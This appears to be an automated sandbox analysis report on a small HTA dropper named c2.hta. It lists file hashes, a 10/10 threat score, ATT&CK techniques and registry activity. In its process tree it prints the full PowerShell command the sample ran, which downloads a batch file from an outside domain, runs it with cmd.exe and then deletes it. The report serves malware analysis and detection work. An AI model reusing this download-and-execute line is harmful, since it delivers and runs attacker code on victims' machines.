cec517b8225912ac87b826382db2260c6fc5337a4a6323c800b84e14bdaa4670

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11/01/2025, 11:42

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General

Target

c2.hta
Size

1KB
MD5

12f69df4d692549683858d447aba1d01
SHA1

6c4c5d5fcf1a1d9a52f049e18208888855203b29
SHA256

cec517b8225912ac87b826382db2260c6fc5337a4a6323c800b84e14bdaa4670
SHA512

21d914639be0a8c1914f9af752735ebcd5478ca9a39aaa84763477448e0a5f100ea38a73ba9c81b5e22fb8cd4e676bcc98cfc5b064b16deb1b4397829fe25525

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://candwfarmsllc.com/c2.bat

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2544	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2544	powershell.exe
2544	powershell.exe
2544	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2544	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2544	1968	mshta.exe	30
PID 1968 wrote to memory of 2544	1968	mshta.exe	30
PID 1968 wrote to memory of 2544	1968	mshta.exe	30
PID 1968 wrote to memory of 2544	1968	mshta.exe	30
PID 2544 wrote to memory of 2848	2544	powershell.exe	32
PID 2544 wrote to memory of 2848	2544	powershell.exe	32
PID 2544 wrote to memory of 2848	2544	powershell.exe	32
PID 2544 wrote to memory of 2848	2544	powershell.exe	32

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\c2.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$url = 'https://candwfarmsllc.com/c2.bat';$output = $env:TEMP + '\temp.bat';Invoke-WebRequest -Uri $url -OutFile $output;Start-Process 'cmd.exe' -ArgumentList '/c', $output -Wait;Remove-Item $output -Force;"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2544
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\temp.bat
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2848

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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